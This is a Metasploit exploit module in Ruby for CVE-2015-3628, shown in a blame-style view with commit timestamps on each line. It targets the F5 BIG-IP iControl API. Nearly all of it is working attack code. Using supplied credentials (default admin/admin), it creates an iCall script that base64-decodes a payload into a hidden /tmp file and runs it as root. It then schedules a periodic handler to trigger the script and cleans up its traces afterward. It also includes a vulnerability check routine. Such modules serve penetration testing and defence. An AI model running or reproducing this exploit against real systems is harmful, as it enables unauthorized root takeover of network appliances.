2015-11-09 13:10:54 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2015-11-12 09:51:09 +00:00
|
|
|
require 'nokogiri'
|
2015-11-09 13:10:54 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2015-11-12 09:51:09 +00:00
|
|
|
include Msf::Exploit::FileDropper
|
2015-11-09 13:10:54 +00:00
|
|
|
|
2015-11-16 19:06:45 +00:00
|
|
|
SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
|
|
|
|
STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
|
|
|
|
LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
|
|
|
|
|
2015-11-13 19:24:11 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(
|
|
|
|
update_info(
|
|
|
|
info,
|
|
|
|
'Name' => "F5 iControl iCall::Script Root Command Execution",
|
|
|
|
'Description' => %q{
|
2015-11-16 19:06:45 +00:00
|
|
|
This module exploits an authenticated privilege escalation
|
|
|
|
vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
|
|
|
|
other F5 devices). This requires valid credentials and the Resource
|
|
|
|
Administrator role. The exploit should work on BIG-IP 11.3.0
|
|
|
|
- 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
|
|
|
|
for more details)
|
2015-11-13 19:24:11 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'tom' # Discovery, Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2015-3628'],
|
|
|
|
['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'],
|
|
|
|
['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html']
|
|
|
|
],
|
|
|
|
'Platform' => ['unix'],
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['F5 BIG-IP LTM 11.x', {}]
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => "Sep 3 2015",
|
|
|
|
'DefaultTarget' => 0))
|
2015-11-09 13:10:54 +00:00
|
|
|
|
2015-11-13 19:24:11 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443),
|
|
|
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
|
|
|
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']),
|
|
|
|
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
|
|
|
|
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
|
|
|
|
])
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
OptInt.new('INTERVAL', [ true, 'Time interval before the iCall::Handler is called, in seconds', 3 ]),
|
|
|
|
OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
|
2015-11-16 18:57:48 +00:00
|
|
|
OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),
|
2015-11-13 19:24:11 +00:00
|
|
|
OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
|
|
|
|
])
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
|
|
|
|
2015-11-16 18:57:48 +00:00
|
|
|
def setup
|
|
|
|
file = datastore['FILENAME']
|
|
|
|
file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}"
|
|
|
|
@payload_path = ::File.join(datastore['PATH'], file)
|
|
|
|
end
|
|
|
|
|
2015-11-13 19:36:56 +00:00
|
|
|
def build_xml
|
|
|
|
builder = Nokogiri::XML::Builder.new do |xml|
|
|
|
|
xml.Envelope do
|
|
|
|
xml = xml_add_namespaces(xml)
|
|
|
|
xml['soapenv'].Header
|
|
|
|
xml['soapenv'].Body do
|
|
|
|
yield xml
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
builder.to_xml
|
|
|
|
end
|
|
|
|
|
2015-11-12 09:51:09 +00:00
|
|
|
def xml_add_namespaces(xml)
|
2015-11-13 19:24:11 +00:00
|
|
|
ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/")
|
|
|
|
xml.doc.root.namespace = ns
|
|
|
|
xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance")
|
|
|
|
xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema")
|
|
|
|
xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script")
|
|
|
|
xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding")
|
|
|
|
xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler")
|
|
|
|
xml
|
2015-11-12 09:51:09 +00:00
|
|
|
end
|
2015-11-09 13:10:54 +00:00
|
|
|
|
2015-11-12 09:51:09 +00:00
|
|
|
def send_soap_request(pay)
|
2015-11-13 19:24:11 +00:00
|
|
|
res = send_request_cgi(
|
2015-11-12 09:51:09 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path),
|
2015-11-09 13:10:54 +00:00
|
|
|
'method' => 'POST',
|
|
|
|
'data' => pay,
|
|
|
|
'username' => datastore['USERNAME'],
|
|
|
|
'password' => datastore['PASSWORD']
|
2015-11-13 19:24:11 +00:00
|
|
|
)
|
2015-11-13 18:42:26 +00:00
|
|
|
if res && res.code == 200
|
2015-11-12 09:51:09 +00:00
|
|
|
return res
|
2015-11-13 18:42:26 +00:00
|
|
|
elsif res
|
2015-11-16 18:38:40 +00:00
|
|
|
print_error("HTTP/#{res.proto} #{res.code} #{res.message}")
|
2015-11-13 18:42:26 +00:00
|
|
|
else
|
|
|
|
vprint_error('No response')
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
2015-11-13 19:24:11 +00:00
|
|
|
false
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
|
|
|
|
2015-11-12 09:51:09 +00:00
|
|
|
# cmd is valid tcl script
|
|
|
|
def create_script(cmd)
|
|
|
|
scriptname = Rex::Text.rand_text_alpha_lower(5)
|
2015-11-13 19:36:56 +00:00
|
|
|
create_xml = build_xml do |xml|
|
2015-11-16 19:06:45 +00:00
|
|
|
xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
|
|
|
|
xml.scripts(STRING_ATTRS) do
|
2015-11-13 19:36:56 +00:00
|
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
|
|
xml.item scriptname
|
|
|
|
end
|
2015-11-16 19:06:45 +00:00
|
|
|
xml.definitions(STRING_ATTRS) do
|
2015-11-13 19:36:56 +00:00
|
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
|
|
xml.item cmd
|
2015-11-12 09:51:09 +00:00
|
|
|
end
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
2015-11-12 09:51:09 +00:00
|
|
|
end
|
2015-11-13 19:36:56 +00:00
|
|
|
send_soap_request(create_xml) ? scriptname : false
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
|
|
|
|
2015-11-12 09:51:09 +00:00
|
|
|
def delete_script(scriptname)
|
2015-11-13 19:36:56 +00:00
|
|
|
delete_xml = build_xml do |xml|
|
2015-11-16 19:06:45 +00:00
|
|
|
xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do
|
|
|
|
xml.scripts(STRING_ATTRS) do
|
2015-11-13 19:36:56 +00:00
|
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
|
|
xml.item scriptname
|
2015-11-12 09:51:09 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2015-11-13 19:36:56 +00:00
|
|
|
send_soap_request(delete_xml)
|
2015-11-12 09:51:09 +00:00
|
|
|
end
|
2015-11-09 13:10:54 +00:00
|
|
|
|
2015-11-12 09:51:09 +00:00
|
|
|
def script_exists(scriptname)
|
2015-11-13 19:36:56 +00:00
|
|
|
exists_xml = build_xml do |xml|
|
2015-11-16 19:06:45 +00:00
|
|
|
xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
|
2015-11-12 09:51:09 +00:00
|
|
|
end
|
2015-11-13 19:36:56 +00:00
|
|
|
res = send_soap_request(exists_xml)
|
2015-11-13 19:24:11 +00:00
|
|
|
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{scriptname}")
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def create_handler(scriptname, interval)
|
|
|
|
handler_name = Rex::Text.rand_text_alpha_lower(5)
|
2015-11-13 19:36:56 +00:00
|
|
|
handler_xml = build_xml do |xml|
|
2015-11-16 19:06:45 +00:00
|
|
|
xml['per'].create(SOAPENV_ENCODINGSTYLE) do
|
|
|
|
xml.handlers(STRING_ATTRS) do
|
2015-11-13 19:36:56 +00:00
|
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
|
|
xml.item handler_name
|
|
|
|
end
|
2015-11-16 19:06:45 +00:00
|
|
|
xml.scripts(STRING_ATTRS) do
|
2015-11-13 19:36:56 +00:00
|
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
|
|
xml.item scriptname
|
|
|
|
end
|
2015-11-16 19:06:45 +00:00
|
|
|
xml.intervals(LONG_ATTRS) do
|
2015-11-13 19:36:56 +00:00
|
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
|
|
xml.item interval
|
2015-11-12 09:51:09 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2015-11-13 19:36:56 +00:00
|
|
|
send_soap_request(handler_xml) ? handler_name : false
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def delete_handler(handler_name)
|
2015-11-13 19:36:56 +00:00
|
|
|
delete_xml = build_xml do |xml|
|
2015-11-16 19:06:45 +00:00
|
|
|
xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do
|
|
|
|
xml.handlers(STRING_ATTRS) do
|
2015-11-13 19:36:56 +00:00
|
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
|
|
xml.item handler_name
|
2015-11-12 09:51:09 +00:00
|
|
|
end
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
|
|
|
end
|
2015-11-12 09:51:09 +00:00
|
|
|
|
2015-11-13 19:36:56 +00:00
|
|
|
send_soap_request(delete_xml)
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def handler_exists(handler_name)
|
2015-11-13 19:36:56 +00:00
|
|
|
handler_xml = build_xml do |xml|
|
2015-11-16 19:06:45 +00:00
|
|
|
xml['per'].get_list(SOAPENV_ENCODINGSTYLE)
|
2015-11-12 09:51:09 +00:00
|
|
|
end
|
2015-11-13 19:36:56 +00:00
|
|
|
res = send_soap_request(handler_xml)
|
2015-11-13 19:24:11 +00:00
|
|
|
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}")
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
# strategy: we'll send a create_script request, with empty name:
|
|
|
|
# if everything is ok, the server return a 500 error saying it doesn't like empty names
|
|
|
|
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
|
|
|
|
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
|
|
|
|
# any other response is considered not vulnerable
|
2015-11-13 19:36:56 +00:00
|
|
|
check_xml = build_xml do |xml|
|
2015-11-16 19:06:45 +00:00
|
|
|
xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
|
|
|
|
xml.scripts(STRING_ATTRS) do
|
2015-11-13 19:36:56 +00:00
|
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
|
|
xml.item
|
|
|
|
end
|
2015-11-16 19:06:45 +00:00
|
|
|
xml.definitions(STRING_ATTRS) do
|
2015-11-13 19:36:56 +00:00
|
|
|
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
|
|
|
xml.item
|
2015-11-12 09:51:09 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2015-11-13 19:36:56 +00:00
|
|
|
|
2015-11-13 19:24:11 +00:00
|
|
|
res = send_request_cgi(
|
2015-11-12 09:51:09 +00:00
|
|
|
'uri' => normalize_uri(target_uri.path),
|
2015-11-09 13:10:54 +00:00
|
|
|
'method' => 'POST',
|
2015-11-13 19:36:56 +00:00
|
|
|
'data' => check_xml,
|
2015-11-09 13:10:54 +00:00
|
|
|
'username' => datastore['USERNAME'],
|
|
|
|
'password' => datastore['PASSWORD']
|
2015-11-13 19:24:11 +00:00
|
|
|
)
|
2015-11-13 18:42:26 +00:00
|
|
|
if res && res.code == 500 && res.body =~ /path is empty/
|
2015-11-09 13:10:54 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2015-11-13 18:42:26 +00:00
|
|
|
elsif res && res.code == 401
|
2015-11-16 18:41:48 +00:00
|
|
|
print_warning("HTTP/#{res.proto} #{res.status} #{res.message} -- incorrect USERNAME or PASSWORD?")
|
2015-11-13 19:24:11 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
2015-11-09 13:10:54 +00:00
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# phase 1: create iCall script to create file with payload, execute it and remove it.
|
2015-11-16 18:57:48 +00:00
|
|
|
register_file_for_cleanup @payload_path
|
2015-11-12 09:51:09 +00:00
|
|
|
|
2015-11-16 18:57:48 +00:00
|
|
|
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path};rm -f #{@payload_path})
|
|
|
|
cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"})
|
2015-11-12 09:51:09 +00:00
|
|
|
|
|
|
|
arg_max = datastore['ARG_MAX']
|
|
|
|
if shell_cmd.size > arg_max
|
2015-11-13 19:24:11 +00:00
|
|
|
print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload "\
|
|
|
|
"or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)"
|
2015-11-12 09:51:09 +00:00
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
2015-11-09 13:10:54 +00:00
|
|
|
print_status('Uploading payload...')
|
|
|
|
|
2015-11-13 19:24:11 +00:00
|
|
|
unless (script = create_script(cmd))
|
2015-11-09 13:10:54 +00:00
|
|
|
print_error("Upload script failed")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
unless script_exists(script)
|
|
|
|
print_error("create_script() run successfully but script was not found")
|
2015-11-12 09:51:09 +00:00
|
|
|
return false
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
2015-11-12 09:51:09 +00:00
|
|
|
interval = datastore['INTERVAL']
|
2015-11-09 13:10:54 +00:00
|
|
|
|
|
|
|
# phase 2: create iCall Handler, that will actually run the previously created script
|
|
|
|
print_status('Creating trigger...')
|
|
|
|
handler = create_handler(script, interval)
|
|
|
|
unless handler
|
|
|
|
print_error('Script uploaded but create_handler() failed')
|
2015-11-12 09:51:09 +00:00
|
|
|
return false
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
|
|
|
print_status('Wait until payload is executed...')
|
|
|
|
|
2015-11-13 19:24:11 +00:00
|
|
|
sleep(interval) # small delay, just to make sure
|
2015-11-09 13:10:54 +00:00
|
|
|
print_status('Trying cleanup...')
|
2015-11-13 19:24:11 +00:00
|
|
|
if delete_handler(handler) && delete_script(script)
|
2015-11-09 13:10:54 +00:00
|
|
|
print_status('Cleanup finished with no errors')
|
2015-11-13 19:24:11 +00:00
|
|
|
else
|
|
|
|
print_error('Error while cleaning up')
|
2015-11-09 13:10:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|